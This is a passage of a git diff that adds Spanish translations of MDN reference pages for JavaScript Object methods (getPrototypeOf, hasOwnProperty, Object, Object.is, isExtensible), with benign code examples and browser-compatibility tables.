+<p>El prototipo del objeto dado. Si no existen propiedades heredadas se devolverá {{jsxref("null")}}.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: js">var proto = {};
+var obj= Object.create(proto);
+Object.getPrototypeOf(obj) === proto; // true
+</pre>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<p>En ES5, lanzará una excepción {{jsxref("Global_Objects/TypeError", "TypeError")}} si el parámetro <code>obj</code> no es un objeto. en ES6, El parámetro será forzado a un {{jsxref("Global_Objects/Object", "Object")}}.</p>
+
+<pre class="brush: js">&gt; Object.getPrototypeOf('foo')
+TypeError: "foo" is not an object  // ES5 code
+&gt; Object.getPrototypeOf('foo')
+String.prototype                   // ES6 code
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.2', 'Object.getPrototypeOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.getprototypeof', 'Object.getProtoypeOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("5")}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12.10")}} (tal vez en las últimas versiones)</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Based on <a class="external" href="http://kangax.github.com/es5-compat-table/">Kangax's compat table</a>.</p>
+
+<h3 id="Notas_espécificas_sobre_Opera">Notas espécificas sobre Opera</h3>
+
+<p>A pesar de que las versiones anteriores de opera no soportan aun <code>Object.getPrototypeOf()</code>, Opera soporta la propiedad no estándar {{jsxref("Object.proto", "__proto__")}} desde Opera 10.50.</p>
+
+<h2 id="See_also" name="See_also">Mira también</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.isPrototypeOf()")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}} {{experimental_inline}}</li>
+ <li>John Resig's post on <a class="external" href="http://ejohn.org/blog/objectgetprototypeof/">getPrototypeOf</a></li>
+ <li>{{jsxref("Object.prototype.__proto__")}}</li>
+ <li>{{jsxref("Reflect.getPrototypeOf()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/hasownproperty/index.html b/files/es/web/javascript/referencia/objetos_globales/object/hasownproperty/index.html
new file mode 100644
index 0000000000..d84e5d6a52
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/hasownproperty/index.html
@@ -0,0 +1,186 @@
+---
+title: Object.prototype.hasOwnProperty()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/hasOwnProperty
+tags:
+  - JavaScript
+  - Method
+  - Object
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty
+---
+<div>{{JSRef("Objetos_globales", "Object")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>El método <code><strong>hasOwnProperty()</strong></code> devuelve un booleano indicando si el objeto tiene la propiedad especificada.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code><em>obj</em>.hasOwnProperty(<em>prop</em>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>El nombre de la propiedad a buscar.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>Todo objeto descendiente de <code>Object</code> hereda el método <code>hasOwnProperty</code>. Este método puede ser usando para determinar si un objeto tiene la propiedad especificada como una propiedad directa de ese objeto; a diferencia del operador {{jsxref("Operators/in", "in")}}, este método no verifica la cadena prototipo del objeto.</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_hasOwnProperty_to_test_for_a_property.27s_existence" name="Example:_Using_hasOwnProperty_to_test_for_a_property.27s_existence">Ejemplo: usar <code>hasOwnProperty</code> para comprobar la existencia de una propiedad</h3>
+
+<p>El siguiente ejemplo determina si el objeto <code>o</code> contiene una propiedad llamada <code>prop</code>:</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'exists';
+
+function changeO() {
+  o.newprop = o.prop;
+  delete o.prop;
+}
+
+o.hasOwnProperty('prop');   // returns true
+changeO();
+o.hasOwnProperty('prop');   // returns false</pre>
+
+<h3 id="Example:_Direct_versus_inherited_properties" name="Example:_Direct_versus_inherited_properties">Ejemplo: Directo versus propiedades heredadas</h3>
+
+<p>El siguiente ejemplo diferencia entre propiedades directas y propiedades heredadas a través de la cadena prototype:</p>
+
+<pre class="brush: js">o = new Object();
+o.prop = 'exists';
+o.hasOwnProperty('prop');             // returns true
+o.hasOwnProperty('toString');         // returns false
+o.hasOwnProperty('hasOwnProperty');   // returns false</pre>
+
+<h3 id="Example:_Itarate_over_properties_not_considering_inherited_properties" name="Example:_Itarate_over_properties_not_considering_inherited_properties">Ejemplo: Iterando sobre las propiedades de un objeto</h3>
+
+<p>El siguiente ejemplo muestra como iterar sobre las propiedades de un objeto sin ejecutar sobre propiedades heredadas. Observe que el bucle for..in ya está no solo iterando elementos enumerables, por consiguiente uno no debería asumir que basado en la falta de propiedades no numerales mostrando en el bucle que hasOwnProperty por si misma no está solo es estrictamente para iterar elementos numerados (como con {{jsxref("Object.getOwnPropertyNames()")}}).</p>
+
+<pre class="brush: js">var buz = {
+    fog: 'stack'
+};
+
+for (var name in buz) {
+    if (buz.hasOwnProperty(name)) {
+        alert("this is fog (" + name + ") for sure. Value: " + buz[name]);
+    }
+    else {
+        alert(name); // toString or something else
+    }
+}</pre>
+
+<h3 id="Ejemplo_hasOwnProperty_como_una_propiedad">Ejemplo: <code>hasOwnProperty</code> como una propiedad</h3>
+
+<p>JavaScript no protege el nombre de la propiedad <code>hasOwnProperty</code>; en consecuencia, si existe la posibilidad  de que un objeto pudiera tener la propiedad con ese nombre, es necesario usar un externo <code>hasOwnProperty</code> para obtener los correctos resultados:</p>
+
+<pre class="brush: js">var foo = {
+    hasOwnProperty: function() {
+        return false;
+    },
+    bar: 'Here be dragons'
+};
+
+foo.hasOwnProperty('bar'); // always returns false
+
+// Use another Object's hasOwnProperty and call it with 'this' set to foo
+({}).hasOwnProperty.call(foo, 'bar'); // true
+
+// It's also possible to use the hasOwnProperty property from the Object property for this purpose
+Object.prototype.hasOwnProperty.call(foo, 'bar'); // true
+</pre>
+
+<p>Observe que en el último caso no han habido nuevos objetos creados.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3rd Edition. Implemented in JavaScript 1.5</td>
+   <td>Standard</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_Also" name="See_Also">Véase también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties" title="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+ <li>{{jsxref("Object.getOwnPropertyNames()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></li>
+ <li>{{jsxref("Operators/in", "in")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_Revisited">JavaScript Guide: Inheritance revisted</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/index.html b/files/es/web/javascript/referencia/objetos_globales/object/index.html
new file mode 100644
index 0000000000..99089bd28e
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/index.html
@@ -0,0 +1,187 @@
+---
+title: Object
+slug: Web/JavaScript/Referencia/Objetos_globales/Object
+tags:
+  - Constructor
+  - JavaScript
+  - Objeto
+  - Referencia
+translation_of: Web/JavaScript/Reference/Global_Objects/Object
+---
+<div>{{JSRef}}</div>
+
+<div>La clase Object representa uno de los tipos de datos de Javascript. Es es usado para guardar una colección de datos definidos y entidades más complejas. Los objetos pueden ser creados utilzando el constructor {{jsxref("Object/Object", "Object()")}} o la sintaxis literal de objeto. </div>
+
+<p>El constructor <code><strong>Object</strong></code> crea una envoltura al objeto.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+
+
+<pre class="syntaxbox notranslate">// Object initialiser or literal
+{ [ <var>nameValuePair1</var>[, <var>nameValuePair2</var>[, ...<var>nameValuePairN</var>] ] ] }
+
+// Called as a constructor
+new Object([<var>value</var>])</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>nameValuePair1, nameValuePair2, ... nameValuePair<em>N</em></code></dt>
+ <dd>Los pares de nombres (strings) y los valores (cualquier valor) donde los nombres son separados por una coma.</dd>
+ <dt><code>valor</code></dt>
+ <dd>Cualquier valor.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>El constructor <code>Object</code> crea una envoltura de objeto  al valor dado.  Si el valor es  {{jsxref("null")}} o {{jsxref("undefined")}}, creará y retornará un objeto vacío, de otra forma, retornará un objeto de un tipo que corresponda al valor dado. Si el valor ya es un objeto devolverá el valor.</p>
+
+<p>Cuando es llamano en un contexto non-constructor, <code>Object </code>se comportará indenticamente a <code>new Object()</code>.</p>
+
+<p>Ver <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">object initializer / literal syntax</a>.</p>
+
+<h2 id="Propiedades_del_constructor_Object">Propiedades del constructor <code>Object</code></h2>
+
+<dl>
+ <dt><code>Object.length</code></dt>
+ <dd>Tiene un valor de 1.</dd>
+ <dt>{{jsxref("Object.prototype")}}</dt>
+ <dd>Permite añadir propiedades a todos los objetos del tipo Object.</dd>
+</dl>
+
+<h2 id="Métodos_del_constructor_Object">Métodos del constructor  <code>Object</code></h2>
+
+<dl>
+ <dt>{{jsxref("Object.assign()")}}</dt>
+ <dd>Copia los valores de todas sus propiedades enumerables desde uno o más objetos fuente a un objeto destino.</dd>
+ <dt>{{jsxref("Object.create()")}}</dt>
+ <dd>Crea un nuevo objeto con el prototipo objeto y propiedades específicadas.</dd>
+ <dt>{{jsxref("Object.defineProperty()")}}</dt>
+ <dd>Añade la propiedad nombrada descrita por un descriptor dado a un objeto.</dd>
+ <dt>{{jsxref("Object.defineProperties()")}}</dt>
+ <dd>Agrega las propiedades nombradas descritas por los descriptores dados a un objeto.</dd>
+ <dt>{{jsxref("Object.entries()")}}</dt>
+ <dd>Returns an array containing all of the <code>[key, value]</code> pairs of a given object's <strong>own</strong> enumerable string properties.</dd>
+ <dt>{{jsxref("Object.freeze()")}}</dt>
+ <dd>Freezes an object: other code can't delete or change any properties.</dd>
+ <dt>{{jsxref("Object.fromEntries()")}}</dt>
+ <dd>Returns a new object from an iterable of key-value pairs (reverses {{jsxref("Object.entries")}}).</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptor()")}}</dt>
+ <dd>Returns a property descriptor for a named property on an object.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyDescriptors()")}}</dt>
+ <dd>Returns an object containing all own property descriptors for an object.</dd>
+ <dt>{{jsxref("Object.getOwnPropertyNames()")}}</dt>
+ <dd>Returns an array containing the names of all of the given object's <strong>own</strong> enumerable and non-enumerable properties.</dd>
+ <dt>{{jsxref("Object.getOwnPropertySymbols()")}}</dt>
+ <dd>Returns an array of all symbol properties found directly upon a given object.</dd>
+ <dt>{{jsxref("Object.getPrototypeOf()")}}</dt>
+ <dd>Returns the prototype of the specified object.</dd>
+ <dt>{{jsxref("Object.is()")}}</dt>
+ <dd>Compares if two values are the same value. Equates all NaN values (which differs from both Abstract Equality Comparison and Strict Equality Comparison).</dd>
+ <dt>{{jsxref("Object.isExtensible()")}}</dt>
+ <dd>Determines if extending of an object is allowed.</dd>
+ <dt>{{jsxref("Object.isFrozen()")}}</dt>
+ <dd>Determines if an object was frozen.</dd>
+ <dt>{{jsxref("Object.isSealed()")}}</dt>
+ <dd>Determines if an object is sealed.</dd>
+ <dt>{{jsxref("Object.keys()")}}</dt>
+ <dd>Returns an array containing the names of all of the given object's <strong>own</strong> enumerable string properties.</dd>
+ <dt>{{jsxref("Object.preventExtensions()")}}</dt>
+ <dd>Prevents any extensions of an object.</dd>
+ <dt>{{jsxref("Object.seal()")}}</dt>
+ <dd>Prevents other code from deleting properties of an object.</dd>
+ <dt>{{jsxref("Object.setPrototypeOf()")}}</dt>
+ <dd>Sets the prototype (i.e., the internal <code>[[Prototype]]</code> property).</dd>
+ <dt>{{jsxref("Object.values()")}}</dt>
+ <dd>Returns an array containing the values that correspond to all of a given object's <strong>own</strong> enumerable string properties.</dd>
+</dl>
+
+<h2 id="Object_instances_and_Object_prototype_object"><code>Object</code> instances and <code>Object</code> prototype object</h2>
+
+<p>All objects in JavaScript are descended from <code>Object</code>; all objects inherit methods and properties from {{jsxref("Object.prototype")}}, although they may be overridden. For example, other constructors' prototypes override the <code>constructor</code> property and provide their own <code>toString()</code> methods. Changes to the <code>Object</code> prototype object are propagated to all objects unless the properties and methods subject to those changes are overridden further along the prototype chain.</p>
+
+<h3 id="Properties">Properties</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Properties') }}</div>
+
+<h3 id="Methods">Methods</h3>
+
+<div>{{page('/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype', 'Methods') }}</div>
+
+<h2 id="Deleting_a_property_from_an_object">Deleting a property from an object</h2>
+
+<p>There isn't any method in an Object itself to delete its own properties (e.g. like <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map/delete">Map.prototype.delete()</a></code>). To do so one has to use the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">delete operator</a>.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_Object_given_undefined_and_null_types">Using <code>Object</code> given <code>undefined</code> and <code>null</code> types</h3>
+
+<p>The following examples store an empty <code>Object</code> object in <code>o</code>:</p>
+
+<pre class="brush: js notranslate">var o = new Object();
+</pre>
+
+<pre class="brush: js notranslate">var o = new Object(undefined);
+</pre>
+
+<pre class="brush: js notranslate">var o = new Object(null);
+</pre>
+
+<h3 id="Using_Object_to_create_Boolean_objects">Using <code>Object</code> to create <code>Boolean</code> objects</h3>
+
+<p>The following examples store {{jsxref("Boolean")}} objects in <code>o</code>:</p>
+
+<pre class="brush: js notranslate">// equivalent to o = new Boolean(true);
+var o = new Object(true);
+</pre>
+
+<pre class="brush: js notranslate">// equivalent to o = new Boolean(false);
+var o = new Object(Boolean());
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2', 'Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object-objects', 'Object')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Added Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-object-objects', 'Object')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Added Object.entries, Object.values and Object.getOwnPropertyDescriptors.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Object")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Object initializer</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/is/index.html b/files/es/web/javascript/referencia/objetos_globales/object/is/index.html
new file mode 100644
index 0000000000..926357d0ab
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/is/index.html
@@ -0,0 +1,172 @@
+---
+title: Object.is()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/is
+tags:
+  - Comparación
+  - Condición
+  - ECMAScript2015
+  - JavaScript
+  - Objeto
+  - condicional
+  - igualdad
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/is
+---
+<div>{{JSRef}}</div>
+
+<p>El método <code><strong>Object.is()</strong></code> determina si dos valores <a href="/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness">son iguales</a>.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox notranslate"><code>Object.is(<var>valor1</var>, <var>valor2</var>);</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>valor1</code></dt>
+ <dd>Primer valor a comparar.</dd>
+ <dt><code>valor2</code></dt>
+ <dd>Segundo valor a comparar.</dd>
+</dl>
+
+<h3 id="Valor_return_del_método">Valor return del método</h3>
+
+<p>Este método devuelve un valor de tipo {{jsxref("Boolean")}} indicando si los valores pasados como parámetros son iguales o no.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p><code>Object.is()</code> determina si dos valores <a href="/en-US/docs/Web/JavaScript/Equality_comparisons_and_sameness">son iguales</a>. Dos valores son iguales si se puede asegurar que:</p>
+
+<ul>
+ <li>ambos son {{jsxref("undefined")}}</li>
+ <li>ambos son {{jsxref("null")}}</li>
+ <li>ambos son <code>true</code> o <code>false</code></li>
+ <li>ambos son strings y tienen la misma longitud con los mismos carácteres</li>
+ <li>ambos son el mismo objeto</li>
+ <li>ambos son números y
+  <ul>
+   <li><code>ambos +0 (mayores que 0)</code></li>
+   <li><code>ambos -0 (menores que 0)</code></li>
+   <li>ambos son {{jsxref("NaN")}}</li>
+   <li>o ambos no son cero o no son de tipo {{jsxref("NaN")}} y tienen el mismo valor</li>
+  </ul>
+ </li>
+</ul>
+
+<p>Esta comparación <em>no</em> es igual a la que realiza el operador {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}. El operador {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}} aplica varias coerciones(comprobaciones) en ambos sentidos (si no tienen el mismo Type) antes de probar la igualdad (lo que resulta en comportamientos como  <code>"" == false</code> siendo <code>true</code>), pero <code>Object.is</code> no obliga a niguno de los valores.</p>
+
+<p>Esta <em>tampoco</em> es igual a la que realiza el operador {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}. El operador {{jsxref("Operators/Comparison_Operators", "===", "#Identity")}} (y el operador {{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}) trata los valores <code>-0</code> <code>y +0</code> como iguales, y además, trata {{jsxref("Number.NaN")}} como no igual a {{jsxref("NaN")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js notranslate">Object.is('foo', 'foo');     // true
+Object.is(window, window);   // true
+
+Object.is('foo', 'bar');     // false
+Object.is([], []);           // false
+
+var test = { a: 1 };
+Object.is(test, test);       // true
+
+Object.is(null, null);       // true
+
+// Special Cases
+Object.is(0, -0);            // false
+Object.is(-0, -0);           // true
+Object.is(NaN, 0/0);         // true
+</pre>
+
+<h2 id="Polyfill_para_navegadores_no_ES6"><a href="https://en.wikipedia.org/wiki/Polyfill">Polyfill</a> para navegadores no ES6</h2>
+
+<p><code>Object.is()</code> es una adición propuesta en el estandar ECMA-262; y como tal, puede no estar presente en todos los navegadores. Para los casos en que no tenga disponible este método, podría utilizar este código haciendolo que se cargue antes que cualquier otro script. Esto permite que puedas utilizar <code>Object.is()</code> en los navegadores que no lo llevan incluído.</p>
+
+<pre class="brush: js notranslate">if (!Object.is) {
+  Object.is = function(x, y) {
+    // SameValue algorithm
+    if (x === y) { // Steps 1-5, 7-10
+      // Steps 6.b-6.e: +0 != -0
+      return x !== 0 || 1 / x === 1 / y;
+    } else {
+      // Step 6.a: NaN == NaN
+      return x !== x &amp;&amp; y !== y;
+    }
+  };
+}
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.is', 'Object.is')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("30")}}</td>
+   <td>{{CompatGeckoDesktop("22")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("22")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"></h2>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Equality_comparisons_and_sameness">Comparadores de igualdad e identidad</a> —Una comparación de las 3 operaciones de cotejamiento integradas.</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/object/isextensible/index.html b/files/es/web/javascript/referencia/objetos_globales/object/isextensible/index.html
new file mode 100644
index 0000000000..30082032ea
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/object/isextensible/index.html
@@ -0,0 +1,144 @@
+---
+title: Object.isExtensible()
+slug: Web/JavaScript/Referencia/Objetos_globales/Object/isExtensible
+tags:
+  - ECMAScript5
+  - JavaScript
+  - JavaScript 1.8.5
+  - Objeto
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/isExtensible
+---
+<div>{{JSRef}}</div>
+
+<p>El método <strong><code>Object.isExtensible()</code></strong> determina si un objeto es extendible (si puede tener propiedades nuevas agregadas a éste).</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox"><code>Object.isExtensible(<var>obj</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>El objeto a ser revisado.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Los objetos son extendibles por defecto: ellos pueden tener propiedades nuevas agregadas a ellos, y (en motores que soportan {{jsxref("Object.proto", "__proto__")}} {{deprecated_inline}} la propiedad __proto__) pueden ser modificados. Un objeto puede ser marcado como no extendible usando {{jsxref("Object.preventExtensions()")}}, {{jsxref("Object.seal()")}}, o {{jsxref("Object.freeze()")}}.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: js">// Los Objetos nuevos son extendibles (por defecto).
+var empty = {};
+Object.isExtensible(empty); // === true
+
+// ...pero eso puede cambiar.
+Object.preventExtensions(empty);
+Object.isExtensible(empty); // === false
+
+// Objetos sellados por definición son no-extendibles.
+var sealed = Object.seal({});
+Object.isExtensible(sealed); // === false
+
+// Objetos congelados también por definición son no-extendibles.
+var frozen = Object.freeze({});
+Object.isExtensible(frozen); // === false
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
+<p>En ES5, si el argumento pasado a éste método no es un objeto (primitivo), entonces regresará {{jsxref("TypeError")}}. En ES6, un no-objeto pasado como argumento será tratado como si fuera un objeto no-extendible ordinario, simplemente regresa <code>false</code>.</p>
+
+<pre class="brush: js">Object.isExtensible(1);
+// TypeError: 1 is not an object (ES5 code)
+
+Object.isExtensible(1);
+// false                         (ES6 code)
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.2.3.13', 'Object.isExtensible')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definición inicial. Implementada en JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-object.isextensible', 'Object.isExtensible')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("6")}}</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("12")}}</td>
+   <td>{{CompatSafari("5.1")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caracteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporote básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
